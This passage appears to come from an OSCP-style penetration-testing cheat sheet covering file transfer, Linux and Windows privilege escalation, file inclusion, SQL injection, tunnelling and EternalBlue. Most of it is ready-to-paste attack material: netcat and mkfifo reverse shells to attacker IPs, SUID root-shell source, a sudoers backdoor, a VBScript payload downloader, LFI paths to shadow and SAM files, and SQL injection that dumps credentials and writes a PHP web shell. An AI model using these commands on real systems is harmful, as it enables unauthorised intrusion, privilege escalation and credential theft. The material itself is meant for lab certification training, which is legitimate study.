    • Filter by a protocol ( e.g. SIP ) and filter out unwanted IPs:
      ip.src != xxx.xxx.xxx.xxx && ip.dst != xxx.xxx.xxx.xxx && sip
    • Some commands are equal
      ip.addr == xxx.xxx.xxx.xxx
      Equals

    (For example when you encounter an error message when trying to run an exploit sh: no job control in this shell )
    
    (hint: sudo -l to see what you can run)
    
    • You may encounter limited shells that use rbash and only allow you to execute a single command per session. You can overcome this by executing an SSH shell to your localhost:
        ssh user@$ip nc $localip 4444 -e /bin/sh
        enter user's password
        python -c 'import pty; pty.spawn("/bin/sh")'

     set LPORT <LPORT value>
     set ExitOnSession false

File Transfers

  • Post exploitation refers to the actions performed by an attacker, once some level of control has been gained on his target.
  • Simple Local Web Servers
    • Run a basic http server, great for serving up shells etc
      python -m SimpleHTTPServer 80
    • Run a basic Python3 http server, great for serving up shells etc
      python3 -m http.server
    • Run a ruby webrick basic http server
      ruby -rwebrick -e "WEBrick::HTTPServer.new
      (:Port => 80, :DocumentRoot => Dir.pwd).start"
    • Run a basic PHP http server
      php -S $ip:80
  • Windows file transfer script that can be pasted to the command line. File transfers to a Windows machine can be tricky without a Meterpreter shell. The following script can be copied and pasted into a basic windows reverse and used to transfer files from a web server (the timeout 1 commands are required after each new line):
     echo Set args = Wscript.Arguments  >> webdl.vbs
     timeout 1
     echo Url = "http://1.1.1.1/windows-privesc-check2.exe"  >> webdl.vbs
     timeout 1
     echo dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")  >> webdl.vbs
     timeout 1
     echo dim bStrm: Set bStrm = createobject("Adodb.Stream")  >> webdl.vbs
     timeout 1
     echo xHttp.Open "GET", Url, False  >> webdl.vbs
     timeout 1
     echo xHttp.Send  >> webdl.vbs
     timeout 1
     echo with bStrm      >> webdl.vbs
     timeout 1
     echo  .type = 1 '      >> webdl.vbs
     timeout 1
     echo  .open      >> webdl.vbs
     timeout 1
     echo  .write xHttp.responseBody      >> webdl.vbs
     timeout 1
     echo  .savetofile "C:\temp\windows-privesc-check2.exe", 2 '  >> webdl.vbs
     timeout 1
     echo end with >> webdl.vbs
     timeout 1
     echo
    
    The file can be run using the following syntax:
    C:\temp\cscript.exe webdl.vbs

Privilege Escalation

Password reuse is your friend. The OSCP labs are true to life, in the way that the users will reuse passwords across different services and even different boxes. Maintain a list of cracked passwords and test them on new machines you encounter.
  • Linux Privilege Escalation

  • Defacto Linux Privilege Escalation Guide - A much more through guide for linux enumeration:https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/
  • Try the obvious - Maybe the user can sudo to root:
    sudo su
  • Here are the commands I have learned to use to perform linux enumeration and privledge escalation:
    What services are running as root?:
    ps aux | grep root
    What files run as root / SUID / GUID?:
     find / -perm +2000 -user root -type f -print
     find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
     find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it.
     find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it.
     find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
     for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done  
     find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null
    
    What folders are world writeable?:
     find / -writable -type d 2>/dev/null      # world-writeable folders
     find / -perm -222 -type d 2>/dev/null     # world-writeable folders
     find / -perm -o w -type d 2>/dev/null     # world-writeable folders
     find / -perm -o x -type d 2>/dev/null     # world-executable folders
     find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable & executable folders
    
  • There are a few scripts that can automate the linux enumeration process:
    • Google is my favorite Linux Kernel exploitation search tool. Many of these automated checkers are missing important kernel exploits which can create a very frustrating blindspot during your OSCP course.
    • LinuxPrivChecker.py - My favorite automated linux priv enumeration checker -

  • Run a command as a user other than root

  • Add a user or change a password
      /usr/sbin/useradd -p 'openssl passwd -1 thePassword' haxzor  
      echo thePassword | passwd haxzor --stdin
    
  • Local Privilege Escalation Exploit in Linux
    • SUID (Set owner User ID up on execution)
      Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required.
      below are some quick copy and paste examples for various shells:
        SUID C Shell for /bin/bash  
      
        int main(void){  
        setresuid(0, 0, 0);  
        system("/bin/bash");  
        }  
      
        SUID C Shell for /bin/sh  
      
        int main(void){  
        setresuid(0, 0, 0);  
        system("/bin/sh");  
        }  
      
        Building the SUID Shell binary  
        gcc -o suid suid.c  
        For 32 bit:  
        gcc -m32 -o suid suid.c
      
    • Create and compile an SUID from a limited shell (no file transfer)
        echo "int main(void){\nsetgid(0);\nsetuid(0);\nsystem(\"/bin/sh\");\n}" >privsc.c  
        gcc privsc.c -o privsc
      
  • Handy command if you can get a root user to run it. Add the www-data user to Root SUDO group with no password requirement:
    echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
  • You may find a command is being executed by the root user, you may be able to modify the system PATH environment variable to execute your command instead. In the example below, ssh is replaced with a reverse shell SUID connecting to 10.10.10.1 on port 4444.
     set PATH="/tmp:/usr/local/bin:/usr/bin:/bin"
     echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.1 4444 >/tmp/f" >> /tmp/ssh
     chmod +x ssh

  • Powershell Exploits - You may find that some Windows privledge escalation exploits are written in Powershell. You may not have an interactive shell that allows you to enter the powershell prompt. Once the powershell script is uploaded to the server, here is a quick one liner to run a powershell command from a basic (cmd.exe) shell:
    powershell -ExecutionPolicy ByPass -command "& { . C:\Users\Public\Invoke-MS16-032.ps1; Invoke-MS16-032 }"
  • Windows Run As - Switching users in linux is trival with the SU command. However, an equivalent command does not exist in Windows. Here are 3 ways to run a command as a different user in Windows.
    • Sysinternals psexec is a handy tool for running a command on a remote or local server as a specific user, given you have thier username and password. The following example creates a reverse shell from a windows server to our Kali box using netcat for Windows and Psexec (on a 64 bit system).
       C:\>psexec64 \\COMPUTERNAME -u Test -p test -h "c:\users\public\nc.exe -nc 192.168.1.10 4444 -e cmd.exe"

    • Runas.exe is a handy windows tool that allows you to run a program as another user so long as you know thier password. The following example creates a reverse shell from a windows server to our Kali box using netcat for Windows and Runas.exe:
       C:\>C:\Windows\System32\runas.exe /env /noprofile /user:Test "c:\users\public\nc.exe -nc 192.168.1.10 4444 -e cmd.exe"
       Enter the password for Test:
       Attempting to start nc.exe as user "COMPUTERNAME\Test" ...
      
    • PowerShell can also be used to launch a process as another user. The following simple powershell script will run a reverse shell as the specified username and password.
       $username = '<username here>'
       $password = '<password here>'
       $securePassword = ConvertTo-SecureString $password -AsPlainText -Force
       $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword
       Start-Process -FilePath C:\Users\Public\nc.exe -NoNewWindow -Credential $credential -ArgumentList ("-nc","192.168.1.10","4444","-e","cmd.exe") -WorkingDirectory C:\Users\Public
      
      Next run this script using powershell.exe:
      powershell -ExecutionPolicy ByPass -command "& { . C:\Users\public\PowerShellRunAs.ps1; }"
  • Windows Service Configuration Viewer - Check for misconfigurations in services that can lead to privilege escalation. You can replace the executable with your own and have windows execute whatever code you want as the privileged user.

Client, Web and Password Attacks

  • Client Attacks

  • Web Attacks

    • Web Shag Web Application Vulnerability Assessment Platform

  • File Inclusion Vulnerabilities

    • Local (LFI) and remote (RFI) file inclusion vulnerabilities are commonly found in poorly written PHP code.
    • fimap - There is a Python tool called fimap which can be leveraged to automate the exploitation of LFI/RFI vulnerabilities that are found in PHP (sqlmap for LFI):
      https://github.com/kurobeats/fimap
      • Gaining a shell from phpinfo()
        fimap + phpinfo() Exploit - If a phpinfo() file is present, it’s usually possible to get a shell, if you don’t know the location of the phpinfo file fimap can probe for it, or you could use a tool like OWASP DirBuster.
    • For Local File Inclusions look for the include() function in PHP code.
      include("lang/".$_COOKIE['lang']);
      include($_GET['page'].".php");
    • LFI - Encode and Decode a file using base64
      curl -s http://$ip/?page=php://filter/convert.base64-encode/resource=index | grep -e '[^\ ]\{40,\}' | base64 -d
    • LFI - Download file with base 64 encoding
      http://$ip/index.php?page=php://filter/convert.base64-encode/resource=admin.php
    • LFI Linux Files:
      /etc/issue
      /proc/version
      /etc/profile
      /etc/passwd
      /etc/passwd
      /etc/shadow
      /root/.bash_history
      /var/log/dmessage
      /var/mail/root
      /var/spool/cron/crontabs/root
    • LFI Windows Files:
      %SYSTEMROOT%\repair\system
      %SYSTEMROOT%\repair\SAM
      %SYSTEMROOT%\repair\SAM
      %WINDIR%\win.ini
      %SYSTEMDRIVE%\boot.ini
      %WINDIR%\Panther\sysprep.inf
      %WINDIR%\system32\config\AppEvent.Evt
    • LFI OSX Files:
      /etc/fstab
      /etc/master.passwd
      /etc/resolv.conf
      /etc/sudoers
      /etc/sysctl.conf
    • LFI - Download passwords file
      http://$ip/index.php?page=/etc/passwd
      http://$ip/index.php?file=../../../../etc/passwd
    • LFI - Download passwords file with filter evasion
      http://$ip/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd
    • Local File Inclusion - In versions of PHP below 5.3 we can terminate with null byte
      GET /addguestbook.php?name=Haxor&comment=Merci!&LANG=../../../../../../../windows/system32/drivers/etc/hosts
    • Contaminating Log Files <?php echo shell_exec($_GET['cmd']);?>
    • For a Remote File Inclusion look for php code that is not sanitized and passed to the PHP include function and the php.ini file must be configured to allow remote files
      /etc/php5/cgi/php.ini - "allow_url_fopen" and "allow_url_include" both set to "on"
      include($_REQUEST["file"].".php");
    • Remote File Inclusion
      http://192.168.11.35/addguestbook.php?name=a&comment=b&LANG=http://192.168.10.5/evil.txt
      <?php echo shell\_exec("ipconfig");?>
  • Database Vulnerabilities

    • Grab password hashes from a web application mysql database called “Users” - once you have the MySQL root username and password
        mysql -u root -p -h $ip
        use "Users"  
        show tables;  
        select \* from users;
      
    • Authentication Bypass
        name='wronguser' or 1=1;  
        name='wronguser' or 1=1 LIMIT 1;
      
    • Enumerating the Database
      http://192.168.11.35/comment.php?id=738)'
      Verbose error message?
      http://$ip/comment.php?id=738 order by 1
      http://$ip/comment.php?id=738 union all select 1,2,3,4,5,6
      Determine MySQL Version:
      http://$ip/comment.php?id=738 union all select 1,2,3,4,@@version,6
      Current user being used for the database connection:
      http://$ip/comment.php?id=738 union all select 1,2,3,4,user(),6
      Enumerate database tables and column structures
      http://$ip/comment.php?id=738 union all select 1,2,3,4,table_name,6 FROM information_schema.tables
      Target the users table in the database
      http://$ip/comment.php?id=738 union all select 1,2,3,4,column_name,6 FROM information_schema.columns where table_name='users'
      Extract the name and password
      http://$ip/comment.php?id=738 union select 1,2,3,4,concat(name,0x3a, password),6 FROM users
      Create a backdoor
      http://$ip/comment.php?id=738 union all select 1,2,3,4,"<?php echo shell_exec($_GET['cmd']);?>",6 into OUTFILE 'c:/xampp/htdocs/backdoor.php'

Networking, Pivoting and Tunneling

  • Port Forwarding - accept traffic on a given IP address and port and redirect it to a different IP address and port
    • apt-get install rinetd
    • cat /etc/rinetd.conf \# bindadress bindport connectaddress connectport w.x.y.z 53 a.b.c.d 80
  • SSH Local Port Forwarding: supports bi-directional communication channels
    • ssh <gateway> -L <local port to listen>:<remote host>:<remote port>
  • SSH Remote Port Forwarding: Suitable for popping a remote shell on an internal non routable network
    • ssh <gateway> -R <remote port to bind>:<local host>:<local port>
  • SSH Dynamic Port Forwarding: create a SOCKS4 proxy on our local attacking box to tunnel ALL incoming traffic to ANY host in the DMZ network on ANY PORT
    • ssh -D <local proxy port> -p <remote port> <target>
  • Proxychains - Perform nmap scan within a DMZ from an external computer
    • Create reverse SSH tunnel from Popped machine on :2222
      ssh -f -N -T -R22222:localhost:22 yourpublichost.example.com ssh -f -N -R 2222:<local host>:22 root@<remote host>
    • Create a Dynamic application-level port forward on 8080 thru 2222
      ssh -f -N -D <local host>:8080 -p 2222 hax0r@<remote host>
    • Leverage the SSH SOCKS server to perform Nmap scan on network using proxy chains
      proxychains nmap --top-ports=20 -sT -Pn $ip/24
  • HTTP Tunneling
    nc -vvn $ip 8888
  • Traffic Encapsulation - Bypassing deep packet inspection
    • http tunnel
      On server side:
      sudo hts -F <server ip addr>:<port of your app> 80 On client side:
      sudo htc -P <my proxy.com:proxy port> -F <port of your app> <server ip addr>:80 stunnel
  • Tunnel Remote Desktop (RDP) from a Popped Windows machine to your network
    • Tunnel on port 22

    • Non-staged payload - is a payload that is sent in its entirety in one go
    • Staged - sent in two parts Not have enough buffer space Or need to bypass antivirus
  • MS 17-010 - EternalBlue
  • You may find some boxes that are vulnerable to MS17-010 (AKA. EternalBlue). Although, not offically part of the indended course, this exploit can be leveraged to gain SYSTEM level access to a Windows box. I have never had much luck using the built in Metasploit EternalBlue module. I found that the elevenpaths version works much more relabily. Here are the instructions to install it taken from the following YouTube video: https://youtu.be/MPocNUglEnM
  1. First step is to configure the Kali to work with wine 32bit
  `dpkg --add-architecture i386 && apt-get update && apt-get install wine32
  rm -r ~/.wine
  wine cmd.exe
  exit`
        
  2. Download the exploit repostory
  https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit
  
  3. Move the exploit to /usr /share /metasploit-framework /modules /exploits /windows /smb

  4. Start metasploit console
I found that using spoolsv.exe as the PROCESSINJECT yielded results on OSCP boxes.
  `use exploit/windows/smb/eternalblue_doublepulsar
  msf exploit(eternalblue_doublepulsar) > set RHOST 10.10.10.10
  RHOST => 10.11.1.73
  msf exploit(eternalblue_doublepulsar) > set PROCESSINJECT spoolsv.exe
  PROCESSINJECT => spoolsv.exe
  msf exploit(eternalblue_doublepulsar) > run`
